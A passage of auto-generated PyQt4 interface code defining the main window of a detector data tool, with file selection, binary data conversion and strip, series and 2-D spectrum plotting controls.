self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().\n hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().\n hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,\n 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_7'))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8('label_8'))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().\n hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8('checkBox'))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().\n hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().\n hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget'))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8('label_9'))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().\n hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8('pushButton'))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().\n hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8('statusbar'))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8('toolBar'))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8('menuBar'))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8('actionOpen'))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8('actionQuit'))\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))\n self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))\n self.groupBox.setTitle(_translate('MainWindow',\n ' BINARY DATA CONVERSION', None))\n self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))\n self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_7.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))\n self.browserButton.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_3.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out', None))\n self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',\n None))\n self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_5.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.runButton.setText(_translate('MainWindow', 'Run', None))\n self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))\n self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))\n self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))\n self.loadButton.setText(_translate('MainWindow', 'Load', None))\n self.filePathEdit_4.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))\n self.plotButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))\n self.label.setText(_translate('MainWindow', 'to', None))\n self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_8.setText(_translate('MainWindow',\n ' PLOT SPECTRA AS 2-D IMAGE', None))\n self.checkBox.setText(_translate('MainWindow', 'Log', None))\n self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',\n None))\n self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))\n self.label_9.setText(_translate('MainWindow',\n ' PLOT TOTAL COUNTS vs STRIP', None))\n self.pushButton.setText(_translate('MainWindow', 'Update', None))\n self.plotStripsButton.setText(_translate('MainWindow',\n 'Plot Strips', None))\n self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))\n self.actionOpen.setText(_translate('MainWindow', 'Open', None))\n self.actionQuit.setText(_translate('MainWindow', 'Quit', None))\n", "step-4": "from PyQt4 import QtCore, QtGui\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_MainWindow(object):\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8('MainWindow'))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().\n hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().\n hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8('centralwidget'))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().\n hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.\n AlignLeft | QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().\n hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(''))\n self.groupBox.setObjectName(_fromUtf8('groupBox'))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,\n 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_6'))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8('label_7'))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().\n hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)\n )\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_9'))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')\n )\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8('label_11'))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().\n hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8('browserButton'))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,\n 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_10'))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')\n )\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8('label_12'))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10\n )\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().\n hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().\n hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8('runButton'))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().\n hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)\n )\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_4'))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().\n hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().\n hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8('loadButton'))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)\n )\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_2'))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().\n hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8('label_4'))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().\n hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8('comboBox'))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().\n hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8('plotButton'))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,\n 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_3'))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8('label_5'))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().\n hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n 